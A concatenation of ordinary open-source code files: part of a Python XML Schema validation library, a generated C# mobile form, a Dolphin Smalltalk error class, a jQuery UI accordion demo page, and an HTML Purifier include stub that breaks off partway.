raise NotImplementedError()
def is_element_only(self):
"""
Returns `True` if the instance is a complexType with element-only content,
`False` otherwise.
"""
raise NotImplementedError()
def is_derived(self, other, derivation=None):
raise NotImplementedError()
def is_extension(self):
return self.derivation == 'extension'
def is_restriction(self):
return self.derivation == 'restriction'
def is_blocked(self, xsd_element):
"""
Returns `True` if the base type derivation is blocked, `False` otherwise.
"""
xsd_type = xsd_element.type
if self is xsd_type:
return False
block = ('%s %s' % (xsd_element.block, xsd_type.block)).strip()
if not block:
return False
block = {x for x in block.split() if x in ('extension', 'restriction')}
return any(self.is_derived(xsd_type, derivation) for derivation in block)
def is_dynamic_consistent(self, other):
return other.name == XSD_ANY_TYPE or self.is_derived(other) or \
hasattr(other, 'member_types') and \
any(self.is_derived(mt) for mt in other.member_types) # pragma: no cover
def is_key(self):
return self.name == XSD_ID or self.is_derived(self.maps.types[XSD_ID])
def is_qname(self):
return self.name == XSD_QNAME or self.is_derived(self.maps.types[XSD_QNAME])
def is_notation(self):
return self.name == XSD_NOTATION_TYPE or self.is_derived(self.maps.types[XSD_NOTATION_TYPE])
def text_decode(self, text):
raise NotImplementedError()
class ValidationMixin(object):
"""
Mixin for implementing XML data validators/decoders. A derived class must implement the
methods `iter_decode` and `iter_encode`.
"""
def validate(self, source, use_defaults=True, namespaces=None):
"""
Validates an XML data against the XSD schema/component instance.
:param source: the source of XML data. For a schema can be a path \
to a file or an URI of a resource or an opened file-like object or an Element Tree \
instance or a string containing XML data. For other XSD components can be a string \
for an attribute or a simple type validators, or an ElementTree's Element otherwise.
:param use_defaults: indicates whether to use default values for filling missing data.
:param namespaces: is an optional mapping from namespace prefix to URI.
:raises: :exc:`XMLSchemaValidationError` if XML *data* instance is not a valid.
"""
for error in self.iter_errors(source, use_defaults=use_defaults, namespaces=namespaces):
raise error
def is_valid(self, source, use_defaults=True, namespaces=None):
"""
Like :meth:`validate` except that do not raises an exception but returns ``True`` if
the XML document is valid, ``False`` if it's invalid.
:param source: the source of XML data. For a schema can be a path \
to a file or an URI of a resource or an opened file-like object or an Element Tree \
instance or a string containing XML data. For other XSD components can be a string \
for an attribute or a simple type validators, or an ElementTree's Element otherwise.
:param use_defaults: indicates whether to use default values for filling missing data.
:param namespaces: is an optional mapping from namespace prefix to URI.
"""
return next(
self.iter_errors(source, use_defaults=use_defaults, namespaces=namespaces), None
) is None
def iter_errors(self, source, use_defaults=True, namespaces=None):
"""
Creates an iterator for the errors generated by the validation of an XML data
against the XSD schema/component instance.
:param source: the source of XML data. For a schema can be a path \
to a file or an URI of a resource or an opened file-like object or an Element Tree \
instance or a string containing XML data. For other XSD components can be a string \
for an attribute or a simple type validators, or an ElementTree's Element otherwise.
:param use_defaults: Use schema's default values for filling missing data.
:param namespaces: is an optional mapping from namespace prefix to URI.
"""
for result in self.iter_decode(source, use_defaults=use_defaults, namespaces=namespaces):
if isinstance(result, XMLSchemaValidationError):
yield result
else:
del result
def decode(self, source, validation='strict', **kwargs):
"""
Decodes XML data.
:param source: the XML data. Can be a string for an attribute or for a simple \
type components or a dictionary for an attribute group or an ElementTree's \
Element for other components.
:param validation: the validation mode. Can be 'lax', 'strict' or 'skip.
:param kwargs: optional keyword arguments for the method :func:`iter_decode`.
:return: a dictionary like object if the XSD component is an element, a \
group or a complex type; a list if the XSD component is an attribute group; \
a simple data type object otherwise. If *validation* argument is 'lax' a 2-items \
tuple is returned, where the first item is the decoded object and the second item \
is a list containing the errors.
:raises: :exc:`XMLSchemaValidationError` if the object is not decodable by \
the XSD component, or also if it's invalid when ``validation='strict'`` is provided.
"""
check_validation_mode(validation)
result, errors = None, []
for result in self.iter_decode(source, validation, **kwargs): # pragma: no cover
if not isinstance(result, XMLSchemaValidationError):
break
elif validation == 'strict':
raise result
else:
errors.append(result)
return (result, errors) if validation == 'lax' else result
def encode(self, obj, validation='strict', **kwargs):
"""
Encodes data to XML.
:param obj: the data to be encoded to XML.
:param validation: the validation mode. Can be 'lax', 'strict' or 'skip.
:param kwargs: optional keyword arguments for the method :func:`iter_encode`.
:return: An element tree's Element if the original data is a structured data or \
a string if it's simple type datum. If *validation* argument is 'lax' a 2-items \
tuple is returned, where the first item is the encoded object and the second item \
is a list containing the errors.
:raises: :exc:`XMLSchemaValidationError` if the object is not encodable by the XSD \
component, or also if it's invalid when ``validation='strict'`` is provided.
"""
check_validation_mode(validation)
result, errors = None, []
for result in self.iter_encode(obj, validation=validation, **kwargs): # pragma: no cover
if not isinstance(result, XMLSchemaValidationError):
break
elif validation == 'strict':
raise result
else:
errors.append(result)
return (result, errors) if validation == 'lax' else result
def iter_decode(self, source, validation='lax', **kwargs):
"""
Creates an iterator for decoding an XML source to a Python object.
:param source: the XML data source.
:param validation: the validation mode. Can be 'lax', 'strict' or 'skip.
:param kwargs: keyword arguments for the decoder API.
:return: Yields a decoded object, eventually preceded by a sequence of \
validation or decoding errors.
"""
raise NotImplementedError()
def iter_encode(self, obj, validation='lax', **kwargs):
"""
Creates an iterator for Encode data to an Element.
:param obj: The data that has to be encoded.
:param validation: The validation mode. Can be 'lax', 'strict' or 'skip'.
:param kwargs: keyword arguments for the encoder API.
:return: Yields an Element, eventually preceded by a sequence of validation \
or encoding errors.
"""
raise NotImplementedError()
def validation_error(self, validation, error, obj=None,
source=None, namespaces=None, **_kwargs):
"""
Helper method for generating and updating validation errors. If validation
mode is 'lax' or 'skip' returns the error, otherwise raises the error.
:param validation: an error-compatible validation mode: can be 'lax' or 'strict'.
:param error: an error instance or the detailed reason of failed validation.
:param obj: the instance related to the error.
:param source: the XML resource related to the validation process.
:param namespaces: is an optional mapping from namespace prefix to URI.
:param _kwargs: keyword arguments of the validation process that are not used.
"""
check_validation_mode(validation)
if isinstance(error, XMLSchemaValidationError):
if error.namespaces is None and namespaces is not None:
error.namespaces = namespaces
if error.source is None and source is not None:
error.source = source
if error.obj is None and obj is not None:
error.obj = obj
if error.elem is None and is_etree_element(obj):
error.elem = obj
elif isinstance(error, Exception):
error = XMLSchemaValidationError(self, obj, str(error), source, namespaces)
else:
error = XMLSchemaValidationError(self, obj, error, source, namespaces)
if validation == 'strict' and error.elem is not None:
raise error
return error
class ParticleMixin(object):
"""
Mixin for objects related to XSD Particle Schema Components:
https://www.w3.org/TR/2012/REC-xmlschema11-1-20120405/structures.html#p
https://www.w3.org/TR/2012/REC-xmlschema11-1-20120405/structures.html#t
:ivar min_occurs: the minOccurs property of the XSD particle. Defaults to 1.
:ivar max_occurs: the maxOccurs property of the XSD particle. Defaults to 1, \
a `None` value means 'unbounded'.
"""
min_occurs = 1
max_occurs = 1
@property
def occurs(self):
return [self.min_occurs, self.max_occurs]
@property
def effective_min_occurs(self):
return self.min_occurs
@property
def effective_max_occurs(self):
return self.max_occurs
def is_emptiable(self):
"""
Tests if max_occurs == 0. A zero-length model group is considered emptiable.
For model groups the test outcome depends also on nested particles.
"""
return self.min_occurs == 0
def is_empty(self):
"""
Tests if max_occurs == 0. A zero-length model group is considered empty.
"""
return self.max_occurs == 0
def is_single(self):
"""
Tests if the particle has max_occurs == 1. For elements the test
outcome depends also on parent group. For model groups the test
outcome depends also on nested model groups.
"""
return self.max_occurs == 1
def is_multiple(self):
"""Tests the particle can have multiple occurrences."""
return not self.is_empty() and not self.is_single()
def is_ambiguous(self):
"""Tests if min_occurs != max_occurs."""
return self.min_occurs != self.max_occurs
def is_univocal(self):
"""Tests if min_occurs == max_occurs."""
return self.min_occurs == self.max_occurs
def is_missing(self, occurs):
"""Tests if provided occurrences are under the minimum."""
return not self.is_emptiable() if occurs == 0 else self.min_occurs > occurs
def is_over(self, occurs):
"""Tests if provided occurrences are over the maximum."""
return self.max_occurs is not None and self.max_occurs <= occurs
def has_occurs_restriction(self, other):
if self.min_occurs < other.min_occurs:
return False
elif self.max_occurs == 0:
return True
elif other.max_occurs is None:
return True
elif self.max_occurs is None:
return False
else:
return self.max_occurs <= other.max_occurs
def parse_error(self, message):
raise XMLSchemaParseError(self, message) # pragma: no cover
def _parse_particle(self, elem):
if 'minOccurs' in elem.attrib:
try:
min_occurs = int(elem.attrib['minOccurs'])
except (TypeError, ValueError):
self.parse_error("minOccurs value is not an integer value")
else:
if min_occurs < 0:
self.parse_error("minOccurs value must be a non negative integer")
else:
self.min_occurs = min_occurs
max_occurs = elem.get('maxOccurs')
if max_occurs is None:
if self.min_occurs > 1:
self.parse_error("minOccurs must be lesser or equal than maxOccurs")
elif max_occurs == 'unbounded':
self.max_occurs = None
else:
try:
max_occurs = int(max_occurs)
except ValueError:
self.parse_error("maxOccurs value must be a non negative integer or 'unbounded'")
else:
if self.min_occurs > max_occurs:
self.parse_error("maxOccurs must be 'unbounded' or greater than minOccurs")
else:
self.max_occurs = max_occurs
|
{
"pile_set_name": "Github"
}
|
using System;
using Smobiler.Core;
namespace SMOSEC.UI.AssetsManager
{
partial class frmScrapRowsSN : Smobiler.Core.Controls.MobileForm
{
#region "SmobilerForm generated code "
public frmScrapRowsSN()
: base()
{
//This call is required by the SmobilerForm.
InitializeComponent();
//Add any initialization after the InitializeComponent() call
}
//SmobilerForm overrides dispose to clean up the component list.
protected override void Dispose(bool disposing)
{
base.Dispose(disposing);
}
//NOTE: The following procedure is required by the SmobilerForm
//It can be modified using the SmobilerForm.
//Do not modify it using the code editor.
[System.Diagnostics.DebuggerStepThrough()]
private void InitializeComponent()
{
this.MenuTitle = new SMOSEC.UI.UserControl.MenuTitle();
this.btnCreate = new Smobiler.Core.Controls.Button();
this.Panel1 = new Smobiler.Core.Controls.Panel();
this.listRepairOrder = new Smobiler.Core.Controls.ListView();
//
// MenuTitle
//
this.MenuTitle.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(105)))), ((int)(((byte)(164)))), ((int)(((byte)(229)))));
this.MenuTitle.Dock = System.Windows.Forms.DockStyle.Top;
this.MenuTitle.FontSize = 15F;
this.MenuTitle.ForeColor = System.Drawing.Color.Black;
this.MenuTitle.Location = new System.Drawing.Point(155, 57);
this.MenuTitle.Name = "MenuTitle";
this.MenuTitle.Size = new System.Drawing.Size(100, 40);
this.MenuTitle.TitleText = "资产报废单列表";
//
// btnCreate
//
this.btnCreate.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(43)))), ((int)(((byte)(146)))), ((int)(((byte)(223)))));
this.btnCreate.BorderRadius = 4;
this.btnCreate.Dock = System.Windows.Forms.DockStyle.Top;
this.btnCreate.FontSize = 15F;
this.btnCreate.Location = new System.Drawing.Point(0, 10);
this.btnCreate.Margin = new Smobiler.Core.Controls.Margin(10F, 10F, 10F, 0F);
this.btnCreate.Name = "btnCreate";
this.btnCreate.Size = new System.Drawing.Size(280, 35);
this.btnCreate.Text = "创建报废单";
this.btnCreate.Press += new System.EventHandler(this.btnCreate_Press);
//
// Panel1
//
this.Panel1.Controls.AddRange(new Smobiler.Core.Controls.MobileControl[] {
this.btnCreate,
this.listRepairOrder});
this.Panel1.Dock = System.Windows.Forms.DockStyle.Fill;
this.Panel1.Location = new System.Drawing.Point(0, 162);
this.Panel1.Name = "Panel1";
this.Panel1.Size = new System.Drawing.Size(300, 100);
//
// listRepairOrder
//
this.listRepairOrder.BackColor = System.Drawing.Color.White;
this.listRepairOrder.Dock = System.Windows.Forms.DockStyle.Fill;
this.listRepairOrder.Location = new System.Drawing.Point(0, 66);
this.listRepairOrder.Margin = new Smobiler.Core.Controls.Margin(0F, 20F, 0F, 0F);
this.listRepairOrder.Name = "listRepairOrder";
this.listRepairOrder.PageSizeTextColor = System.Drawing.Color.FromArgb(((int)(((byte)(145)))), ((int)(((byte)(145)))), ((int)(((byte)(145)))));
this.listRepairOrder.PageSizeTextSize = 11F;
this.listRepairOrder.ShowSplitLine = true;
this.listRepairOrder.Size = new System.Drawing.Size(300, 300);
this.listRepairOrder.SplitLineColor = System.Drawing.Color.FromArgb(((int)(((byte)(230)))), ((int)(((byte)(230)))), ((int)(((byte)(230)))));
this.listRepairOrder.TemplateControlName = "frmScrapRowsLayout";
//
// frmScrapRowsSN
//
this.Controls.AddRange(new Smobiler.Core.Controls.MobileControl[] {
this.MenuTitle,
this.Panel1});
this.DrawerName = "LeftMenu";
this.Orientation = Smobiler.Core.Controls.FormOrientation.Portrait;
this.Statusbar = new Smobiler.Core.Controls.MobileFormStatusbar(Smobiler.Core.Controls.MobileFormStatusbarStyle.Default, System.Drawing.Color.FromArgb(((int)(((byte)(105)))), ((int)(((byte)(164)))), ((int)(((byte)(229))))));
this.KeyDown += new Smobiler.Core.Controls.KeyDownEventHandler(this.frmScrapRowsSN_KeyDown);
this.Load += new System.EventHandler(this.frmScrapRowsSN_Load);
this.Name = "frmScrapRowsSN";
}
#endregion
private UserControl.MenuTitle MenuTitle;
private Smobiler.Core.Controls.Button btnCreate;
internal Smobiler.Core.Controls.Panel Panel1;
internal Smobiler.Core.Controls.ListView listRepairOrder;
}
}
|
{
"pile_set_name": "Github"
}
|
"Filed out from Dolphin Smalltalk 7"!
Error subclass: #HRESULTError
instanceVariableNames: 'errorInfo osErrorMessage'
classVariableNames: 'FacilityClasses'
poolDictionaries: 'FacilityCodes'
classInstanceVariableNames: ''!
HRESULTError guid: (GUID fromString: '{87b4c55a-026e-11d3-9fd7-00a0cc3e4a32}')!
HRESULTError comment: ''!
!HRESULTError categoriesForClass!System-Exception Handling! !
!HRESULTError methodsFor!
_descriptionArguments
"Answer the arguments to be substitued into the receiver's Win32 description format String."
| hresult |
hresult := self hresult.
^{hresult asUnsignedInteger. self messageText. hresult facility. self osErrorMessage}!
_descriptionFormat
"Answer the Win32 format String to be used to format the description for the receiver."
^self hasMessageText
ifTrue: ['%2: %4']
ifFalse: ['HRESULT Error 0x%1!!X!!: %4 (%3)']!
errorInfo
"Private - Answer the IErrorInfo/EXCEPINFO associated with the receiver."
^errorInfo!
errorInfo: err
"Private - Set the IErrorInfo/EXCEPINFO associated with the receiver."
errorInfo := err!
hasMessageText
messageText isNil
ifTrue: [errorInfo notNull ifTrue: [messageText := errorInfo description trimBlanks]].
^(messageText isNil or: [messageText isEmpty]) not!
hresult
"Answer the HRESULT error code associated with the receiver."
^tag ifNil: [HRESULT fail]!
hresult: hr
"Set the HRESULT error code associated with the receiver to the <integer>
argument, hr."
^self tag: (HRESULT fromInteger: hr)!
messageText
"Answer the <readableString> message text supplied when the receiver was signalled,
or nil if none was provided."
^self hasMessageText ifTrue: [messageText] ifFalse: [self osErrorMessage]!
osErrorMessage
"Answer a <String> representation of the HRESULT error code."
^osErrorMessage ifNil: [osErrorMessage := self hresult displayString]!
source
"Answer the 'source' of the error (by convention the Prog ID of the component which raised the error).
This is only available if extended error information is associated with the receiver."
^errorInfo notNull ifTrue: [errorInfo source]!
statusCode
"Answer the error status code from the receiver's details."
^self hresult statusCode! !
!HRESULTError categoriesFor: #_descriptionArguments!displaying!public! !
!HRESULTError categoriesFor: #_descriptionFormat!displaying!public! !
!HRESULTError categoriesFor: #errorInfo!accessing!private! !
!HRESULTError categoriesFor: #errorInfo:!accessing!private! !
!HRESULTError categoriesFor: #hasMessageText!private!testing! !
!HRESULTError categoriesFor: #hresult!accessing!public! !
!HRESULTError categoriesFor: #hresult:!accessing!public! !
!HRESULTError categoriesFor: #messageText!accessing!public! !
!HRESULTError categoriesFor: #osErrorMessage!displaying!public! !
!HRESULTError categoriesFor: #source!accessing!public! !
!HRESULTError categoriesFor: #statusCode!accessing!public! !
!HRESULTError class methodsFor!
fromHRESULT: anHRESULT
^(FacilityClasses at: anHRESULT facilityCode ifAbsent: [self]) new
tag: anHRESULT;
yourself!
fromInteger: anInteger
^self fromHRESULT: (HRESULT fromInteger: anInteger)!
initialize
"Private - Initialize the receiver's class variables.
HRESULTError initialize
"
FacilityClasses :=
IdentityDictionary new
at: FACILITY_NULL put: Win32Error;
at: FACILITY_WIN32 put: Win32Error;
yourself!
registerFacility: anInteger class: anExceptionClass
"Register the specified exception class as the exception type
to be raised for HRESULTs with the facility code, anInteger.
Normally anExceptionClass will be a subclass of the receiver."
FacilityClasses at: anInteger put: anExceptionClass!
signal: aString with: anInteger
"Raise a new instance of the receiver, with the <readableString> error message, aString, and <integer> HRESULT code, anInteger, initiating a search for an ExceptionHandler prepared to handle instances of the receiver. This method will not return to its sender, unless the new instance is resumable, and the handler which catches it directs that it should be resumed."
^(self fromHRESULT: (HRESULT fromInteger: anInteger))
messageText: aString;
signal!
signal: messageText withFailureCode: anInteger
self signal: messageText with: (HRESULT decodePrimitiveFailureCode: anInteger)!
signalCode: statusCode facility: facilityCode
"Raise a new instance of the receiver, with the error message, msg, initiating a search for an
ExceptionHandler prepared to handle instances of the receiver. This method will not return to its
sender, unless the new instance is resumable, and the handler which catches it directs that it
should be resumed."
^self signalHRESULT: (HRESULT status: statusCode facility: facilityCode)!
signalFailureCode: anInteger
"Private - Signal an HRESULTError from an HRESULT packed into a primitive failure code by the VM."
^(self fromHRESULT: (HRESULT fromPrimitiveFailureCode: anInteger)) signal!
signalHRESULT: anHRESULT
"Raise a new Error subinstance, with the specified error code, of an appropriate type (depending on the facility of that code)."
^(self fromHRESULT: anHRESULT) signal!
unregisterFacilityClass: anExceptionClass
"Unregister the specified exception class, if registered."
FacilityClasses removeKey: (FacilityClasses keyAtValue: anExceptionClass ifAbsent: [^self])
! !
!HRESULTError class categoriesFor: #fromHRESULT:!instance creation!public! !
!HRESULTError class categoriesFor: #fromInteger:!instance creation!public! !
!HRESULTError class categoriesFor: #initialize!development!initializing!private! !
!HRESULTError class categoriesFor: #registerFacility:class:!initializing!public! !
!HRESULTError class categoriesFor: #signal:with:!instance creation!public! !
!HRESULTError class categoriesFor: #signal:withFailureCode:!instance creation!public! !
!HRESULTError class categoriesFor: #signalCode:facility:!instance creation!public! !
!HRESULTError class categoriesFor: #signalFailureCode:!instance creation!private! !
!HRESULTError class categoriesFor: #signalHRESULT:!instance creation!public! !
!HRESULTError class categoriesFor: #unregisterFacilityClass:!initializing!public! !
|
{
"pile_set_name": "Github"
}
|
<!doctype html>
<html lang="en">
<head>
<title>jQuery UI Accordion - Default functionality</title>
<link type="text/css" href="../../themes/base/ui.all.css" rel="stylesheet" />
<script type="text/javascript" src="../../jquery-1.3.2.js"></script>
<script type="text/javascript" src="../../ui/ui.core.js"></script>
<script type="text/javascript" src="../../ui/ui.accordion.js"></script>
<link type="text/css" href="../demos.css" rel="stylesheet" />
<script type="text/javascript">
$(function() {
$("#accordion").accordion();
});
</script>
</head>
<body>
<div class="demo">
<div id="accordion">
<h3><a href="#">Section 1</a></h3>
<div>
<p>
Mauris mauris ante, blandit et, ultrices a, suscipit eget, quam. Integer
ut neque. Vivamus nisi metus, molestie vel, gravida in, condimentum sit
amet, nunc. Nam a nibh. Donec suscipit eros. Nam mi. Proin viverra leo ut
odio. Curabitur malesuada. Vestibulum a velit eu ante scelerisque vulputate.
</p>
</div>
<h3><a href="#">Section 2</a></h3>
<div>
<p>
Sed non urna. Donec et ante. Phasellus eu ligula. Vestibulum sit amet
purus. Vivamus hendrerit, dolor at aliquet laoreet, mauris turpis porttitor
velit, faucibus interdum tellus libero ac justo. Vivamus non quam. In
suscipit faucibus urna.
</p>
</div>
<h3><a href="#">Section 3</a></h3>
<div>
<p>
Nam enim risus, molestie et, porta ac, aliquam ac, risus. Quisque lobortis.
Phasellus pellentesque purus in massa. Aenean in pede. Phasellus ac libero
ac tellus pellentesque semper. Sed ac felis. Sed commodo, magna quis
lacinia ornare, quam ante aliquam nisi, eu iaculis leo purus venenatis dui.
</p>
<ul>
<li>List item one</li>
<li>List item two</li>
<li>List item three</li>
</ul>
</div>
<h3><a href="#">Section 4</a></h3>
<div>
<p>
Cras dictum. Pellentesque habitant morbi tristique senectus et netus
et malesuada fames ac turpis egestas. Vestibulum ante ipsum primis in
faucibus orci luctus et ultrices posuere cubilia Curae; Aenean lacinia
mauris vel est.
</p>
<p>
Suspendisse eu nisl. Nullam ut libero. Integer dignissim consequat lectus.
Class aptent taciti sociosqu ad litora torquent per conubia nostra, per
inceptos himenaeos.
</p>
</div>
</div>
</div><!-- End demo -->
<div class="demo-description">
<p>
Click headers to expand/collapse content that is broken into logical sections, much like tabs.
Optionally, toggle sections open/closed on mouseover.
</p>
<p>
The underlying HTML markup is a series of headers (H3 tags) and content divs so the content is
usable without JavaScript.
</p>
</div><!-- End demo-description -->
</body>
</html>
|
{
"pile_set_name": "Github"
}
|
<?php
/**
* @file
* This file was auto-generated by generate-includes.php and includes all of
* the core files required by HTML Purifier. This is a convenience stub that
* includes all files using dirname(__FILE__) and require_once. PLEASE DO NOT
* EDIT THIS FILE, changes will be overwritten the next time the script is run.
*
* Changes to include_path are not necessary.
*/
$__dir = dirname(__FILE__);
require_once $__dir . '/HTMLPurifier.php';
require_once $__dir . '/HTMLPurifier/Arborize.php';
require_once $__dir . '/HTMLPurifier/AttrCollections.php';
require_once $__dir . '/HTMLPurifier/AttrDef.php';
require_once $__dir . '/HTMLPurifier/AttrTransform.php';
require_once $__dir . '/HTMLPurifier/AttrTypes.php';
require_once $__dir . '/HTMLPurifier/AttrValidator.php';
require_once $__dir . '/HTMLPurifier/Bootstrap.php';
require_once $__dir . '/HTMLPurifier/Definition.php';
require_once $__dir . '/HTMLPurifier/CSSDefinition.php';
require_once $__dir . '/HTMLPurifier/ChildDef.php';
require_once $__dir . '/HTMLPurifier/Config.php';
require_once $__dir . '/HTMLPurifier/ConfigSchema.php';
require_once $__dir . '/HTMLPurifier/ContentSets.php';
require_once $__dir . '/HTMLPurifier/Context.php';
require_once $__dir . '/HTMLPurifier/DefinitionCache.php';
require_once $__dir . '/HTMLPurifier/DefinitionCacheFactory.php';
require_once $__dir . '/HTMLPurifier/Doctype.php';
require_once $__dir . '/HTMLPurifier/DoctypeRegistry.php';
require_once $__dir . '/HTMLPurifier/ElementDef.php';
require_once $__dir . '/HTMLPurifier/Encoder.php';
require_once $__dir . '/HTMLPurifier/EntityLookup.php';
require_once $__dir . '/HTMLPurifier/EntityParser.php';
require_once $__dir . '/HTMLPurifier/ErrorCollector.php';
require_once $__dir . '/HTMLPurifier/ErrorStruct.php';
require_once $__dir . '/HTMLPurifier/Exception.php';
require_once $__dir . '/HTMLPurifier/Filter.php';
require_once $__dir . '/HTMLPurifier/Generator.php';
require_once $__dir . '/HTMLPurifier/HTMLDefinition.php';
require_once $__dir . '/HTMLPurifier/HTMLModule.php';
require_once $__dir . '/HTMLPurifier/HTMLModuleManager.php';
require_once $__dir . '/HTMLPurifier/IDAccumulator.php';
require_once $__dir . '/HTMLPurifier/Injector.php';
require_once $__dir . '/HTMLPurifier/Language.php';
require_once $__dir . '/HTMLPurifier/LanguageFactory.php';
require_once $__dir . '/HTMLPurifier/Length.php';
require_once $__dir . '/HTMLPurifier/Lexer.php';
require_once $__dir . '/HTMLPurifier/Node.php';
require_once $__dir . '/HTMLPurifier/PercentEncoder.php';
require_once $__dir . '/HTMLPurifier/PropertyList.php';
require_once $__dir . '/HTMLPurifier/PropertyListIterator.php';
require_once $__dir . '/HTMLPurifier/Queue.php';
require_once $__dir . '/HTMLPurifier/Strategy.php';
require_once $__dir . '/HTMLPurifier/StringHash.php';
require_once $__dir . '/HTMLPurifier/StringHashParser.php';
require_once $__dir . '/HTMLPurifier/TagTransform.php';
require_once $__dir . '/HTMLPurifier/Token.php';
require_once $__dir . '/HTMLPurifier/TokenFactory.php';
require_once $__dir . '/HTMLPurifier/URI.php';
require_once $__dir . '/HTMLPurifier/URIDefinition.php';
require_once $__dir . '/HTMLPurifier/URIFilter.php';
require_once $__dir . '/HTMLPurifier/URIParser.php';
require_once $__dir . '/HTMLPurifier/URIScheme.php';
require_once $__dir . '/HTMLPurifier/URISchemeRegistry.php';
require_once $__dir . '/HTMLPurifier/UnitConverter.php';
require_once $__dir . '/HTMLPurifier/VarParser.php';
require_once $__dir . '/HTMLPurifier/VarParserException.php';
require_once $__dir . '/HTMLPurifier/Zipper.php';
require_once $__dir . '/HTMLPurifier/AttrDef/CSS.php';
require_once $__dir . '/HTMLPurifier/AttrDef/Clone.php';
require_once $__dir . '/HTMLPurifier/AttrDef/Enum.php';
require_once $__dir . '/HTMLPurifier/AttrDef/Integer.php';
require_once $__dir . '/HTMLPurifier/AttrDef/Lang.php';
require_once $__dir . '/HTMLPurifier/AttrDef/Switch.php';
require_once $__dir . '/HTMLPurifier/AttrDef/Text.php';
require_once $__dir . '/HTMLPurifier/AttrDef/URI.php';
require_once $__dir . '/HTMLPurifier/AttrDef/CSS/Number.php';
require_once $__dir . '/HTMLPurifier/AttrDef/CSS/AlphaValue.php';
require_once $__dir . '/HTMLPurifier/AttrDef/CSS/Background.php';
require_once $__dir . '/HTMLPurifier/AttrDef/CSS/BackgroundPosition.php';
require_once $__dir . '/HTMLPurifier/AttrDef/CSS/Border.php';
require_once $__dir . '/HTMLPurifier/AttrDef/CSS/Color.php';
require_once $__dir . '/HTMLPurifier/AttrDef/CSS/Composite.php';
require_once $__dir . '/HTMLPurifier/AttrDef/CSS/DenyElementDecorator.php';
require_once $__dir . '/HTMLPurifier/AttrDef/CSS/Filter.php';
require_once $__dir . '/HTMLPurifier/AttrDef/CSS/Font.php';
require_once $__dir . '/HTMLPurifier/AttrDef/CSS/FontFamily.php';
require_once $__dir . '/HTMLPurifier/AttrDef/CSS/Ident.php';
require_once $__dir . '/HTMLPurifier/AttrDef/CSS/ImportantDecorator.php';
require_once $__dir . '/HTMLPurifier/AttrDef/CSS/Length.php';
require_once $__dir . '/HTMLPurifier/AttrDef/CSS/ListStyle.php';
require_once $__dir . '/HTMLPurifier/AttrDef/CSS/Multiple.php';
require_once $__dir . '/HTMLPurifier/AttrDef/CSS/Percentage.php';
require_once $__dir . '/HTMLPurifier/AttrDef/CSS/TextDecoration.php';
require_once $__dir . '/HTMLPurifier/AttrDef/CSS/URI.php';
require_once $__dir . '/HTMLPurifier/AttrDef/HTML/Bool.php';
require_once $__dir . '/HTMLPurifier/AttrDef/HTML/Nmtokens.php';
require_once $__dir . '/HTMLPurifier/AttrDef/HTML/Class.php';
require_once $__dir . '/HTMLPurifier/AttrDef/HTML/Color.php';
require_once $__dir . '/HTMLPurifier/AttrDef/HTML/FrameTarget.php';
require_once $__dir . '/HTMLPurifier/AttrDef/HTML/ID.php';
require_once $__dir . '/HTMLPurifier/AttrDef/HTML/Pixels.php';
require_once $__dir . '/HTMLPurifier/AttrDef/HTML/Length.php';
require_once $__dir . '/HTMLPurifier/AttrDef/HTML/LinkTypes.php';
require_once $__dir . '/HTMLPurifier/AttrDef/HTML/MultiLength.php';
require_once $__dir . '/HTMLPurifier/AttrDef/URI/Email.php';
require_once $__dir . '/HTMLPurifier/AttrDef/URI/Host.php';
require_once $__dir . '/HTMLPurifier/AttrDef/URI/IPv4.php';
require_once $__dir . '/HTMLPurifier/AttrDef/URI/IPv6.php';
require_once $__dir . '/HTMLPurifier/AttrDef/URI/Email/SimpleCheck.php';
require_once $__dir . '/HTMLPurifier/AttrTransform/Background.php';
require_once $__dir . '/HTMLPurifier/AttrTransform/BdoDir.php';
require_once $__dir . '/HTMLPurifier/AttrTransform/BgColor.php';
require_once $__dir . '/HTMLPurifier/AttrTransform/BoolToCSS.php';
require_once $__dir . '/HTMLPurifier/AttrTransform/Border.php';
require_once $__dir . '/HTMLPurifier/AttrTransform/EnumToCSS.php';
require_once $__dir . '/HTMLPurifier/AttrTransform/ImgRequired.php';
require_once $__dir . '/HTMLPurifier/AttrTransform/ImgSpace.php';
require_once $__dir . '/HTMLPurifier/AttrTransform/Input.php';
require_once $__dir . '/HTMLPurifier/AttrTransform/Lang.php';
require_once $__dir . '/HTMLPurifier/AttrTransform/Length.php';
require_once $__dir . '/HTMLPurifier/AttrTransform/Name.php';
require_once $__dir . '/HTMLPurifier/AttrTransform/NameSync.php';
require_once $__dir . '/HTMLPurifier/AttrTransform/Nofollow.php';
require_once $__dir . '/HTMLPurifier/AttrTransform/SafeEmbed.php';
require_once $__dir . '/HTMLPurifier/AttrTransform/SafeObject.php';
require_once $__dir . '/HTMLPurifier/AttrTransform/SafeParam.php';
require_once $__dir . '/HTMLPurifier/AttrTransform/ScriptRequired.php';
require_once $__dir . '/HTMLPurifier/AttrTransform/TargetBlank.php';
require_once $__dir . '/HTMLPurifier/AttrTransform/Textarea.php';
require_once $__dir . '/HTMLPurifier/ChildDef/Chameleon.php';
require_once $__dir . '/HTMLPurifier/ChildDef/Custom.php';
require_once $__dir . '/HTMLPurifier/ChildDef/Empty.php';
require_once $__dir . '/HTMLPurifier/ChildDef/List.php';
require_once $__dir . '/HTMLPurifier/ChildDef/Required.php';
require_once $__dir . '/HTMLPurifier/ChildDef/Optional.php';
require_once $__dir . '/HTMLPurifier/ChildDef/StrictBlockquote.php';
require_once $__dir . '/HTMLPurifier/ChildDef/Table.php';
require_once $__dir . '/HTMLPurifier/DefinitionCache/Decorator.php';
require_once $__dir . '/HTMLPurifier/DefinitionCache/Null.php';
require_once $__dir . '/HTMLPurifier/DefinitionCache/Serializer.php';
require_once $__dir . '/HTMLPurifier/DefinitionCache/Decorator/Cleanup.php';
require_once $__dir . '/HTMLPurifier/DefinitionCache/Decorator/Memory.php';
require_once $__dir . '/HTMLPurifier/HTMLModule/Bdo.php';
require_once $__dir . '/HTMLPurifier/HTMLModule/CommonAttributes.php';
require_once $__dir . '/HTMLPurifier/HTMLModule/Edit.php';
require_once $__dir . '/HTMLPurifier/HTMLModule/Forms.php';
require_once $__dir . '/HTMLPurifier/HTMLModule/Hypertext.php';
require_once $__dir . '/HTMLPurifier/HTMLModule/Iframe.php';
require_once $__dir . '/HTMLPurifier/HTMLModule/Image.php';
require_once $__dir . '/HTMLPurifier/HTMLModule/Legacy.php';
require_once $__dir . '/HTMLPurifier/HTMLModule/List.php';
